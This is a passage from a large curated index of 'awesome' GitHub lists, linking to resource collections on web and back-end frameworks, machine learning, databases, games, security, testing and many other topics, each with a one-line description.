- [Storybook](https://github.com/lauthieb/awesome-storybook#readme) - Development environment for UI components.
- [Blazor](https://github.com/AdrienTorris/awesome-blazor#readme) - .NET web framework using C#/Razor and HTML that runs in the browser with WebAssembly.
- [PageSpeed Metrics](https://github.com/csabapalfi/awesome-pagespeed-metrics#readme) - Metrics to help understand page speed and user experience.
- [Tailwind CSS](https://github.com/aniftyco/awesome-tailwindcss#readme) - Utility-first CSS framework for rapid UI development.
- [Seed](https://github.com/seed-rs/awesome-seed-rs#readme) - Rust framework for creating web apps running in WebAssembly.
- [Web Performance Budget](https://github.com/pajaydev/awesome-web-performance-budget#readme) - Techniques to ensure certain performance metrics for a website.
- [Web Animation](https://github.com/sergey-pimenov/awesome-web-animation#readme) - Animations in the browser with JavaScript, CSS, SVG, etc.
- [Yew](https://github.com/jetli/awesome-yew#readme) - Rust framework inspired by Elm and React for creating multi-threaded frontend web apps with WebAssembly.
- [Material-UI](https://github.com/nadunindunil/awesome-material-ui#readme) - Material Design React components for faster and easier web development.
- [Building Blocks for Web Apps](https://github.com/componently-com/awesome-building-blocks-for-web-apps#readme) - Standalone features to be integrated into web apps.
- [Svelte](https://github.com/TheComputerM/awesome-svelte#readme) - App framework.
- [Design systems](https://github.com/klaufel/awesome-design-systems#readme) - Collection of reusable components, guided by rules that ensure consistency and speed.
## Back-End Development
- [Flask](https://github.com/mjhea0/awesome-flask#readme) - Python framework.
- [Docker](https://github.com/veggiemonk/awesome-docker#readme)
- [Vagrant](https://github.com/iJackUA/awesome-vagrant#readme) - Automation virtual machine environment.
- [Pyramid](https://github.com/uralbash/awesome-pyramid#readme) - Python framework.
- [Play1 Framework](https://github.com/PerfectCarl/awesome-play1#readme)
- [CakePHP](https://github.com/friendsofcake/awesome-cakephp#readme) - PHP framework.
- [Symfony](https://github.com/sitepoint-editors/awesome-symfony#readme) - PHP framework.
- [Education](https://github.com/pehapkari/awesome-symfony-education#readme)
- [Laravel](https://github.com/chiraggude/awesome-laravel#readme) - PHP framework.
- [Education](https://github.com/fukuball/Awesome-Laravel-Education#readme)
- [TALL Stack](https://github.com/blade-ui-kit/awesome-tall-stack#readme) - Full-stack development solution featuring libraries built by the Laravel community.
- [Rails](https://github.com/gramantin/awesome-rails#readme) - Web app framework for Ruby.
- [Gems](https://github.com/hothero/awesome-rails-gem#readme) - Packages.
- [Phalcon](https://github.com/phalcon/awesome-phalcon#readme) - PHP framework.
- [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess#readme)
- [nginx](https://github.com/fcambus/nginx-resources#readme) - Web server.
- [Dropwizard](https://github.com/stve/awesome-dropwizard#readme) - Java framework.
- [Kubernetes](https://github.com/ramitsurana/awesome-kubernetes#readme) - Open-source platform that automates Linux container operations.
- [Lumen](https://github.com/unicodeveloper/awesome-lumen#readme) - PHP micro-framework.
- [Serverless Framework](https://github.com/pmuens/awesome-serverless#readme) - Serverless computing and serverless architectures.
- [Apache Wicket](https://github.com/PhantomYdn/awesome-wicket#readme) - Java web app framework.
- [Vert.x](https://github.com/vert-x3/vertx-awesome#readme) - Toolkit for building reactive apps on the JVM.
- [Terraform](https://github.com/shuaibiyy/awesome-terraform#readme) - Tool for building, changing, and versioning infrastructure.
- [Vapor](https://github.com/Cellane/awesome-vapor#readme) - Server-side development in Swift.
- [Dash](https://github.com/ucg8j/awesome-dash#readme) - Python web app framework.
- [FastAPI](https://github.com/mjhea0/awesome-fastapi#readme) - Python web app framework.
- [CDK](https://github.com/kolomied/awesome-cdk#readme) - Open-source software development framework for defining cloud infrastructure in code.
- [IAM](https://github.com/kdeldycke/awesome-iam#readme) - User accounts, authentication and authorization.
## Computer Science
- [University Courses](https://github.com/prakhar1989/awesome-courses#readme)
- [Data Science](https://github.com/academic/awesome-datascience#readme)
- [Tutorials](https://github.com/siboehm/awesome-learn-datascience#readme)
- [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning#readme)
- [Tutorials](https://github.com/ujjwalkarn/Machine-Learning-Tutorials#readme)
- [ML with Ruby](https://github.com/arbox/machine-learning-with-ruby#readme) - Learning, implementing, and applying Machine Learning using Ruby.
- [Core ML Models](https://github.com/likedan/Awesome-CoreML-Models#readme) - Models for Apple's machine learning framework.
- [H2O](https://github.com/h2oai/awesome-h2o#readme) - Open source distributed machine learning platform written in Java with APIs in R, Python, and Scala.
- [Software Engineering for Machine Learning](https://github.com/SE-ML/awesome-seml#readme) - From experiment to production-level machine learning.
- [AI in Finance](https://github.com/georgezouq/awesome-ai-in-finance#readme) - Solving problems in finance with machine learning.
- [JAX](https://github.com/n2cholas/awesome-jax#readme) - Automatic differentiation and XLA compilation brought together for high-performance machine learning research.
- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [Grakn](https://github.com/graknlabs/awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
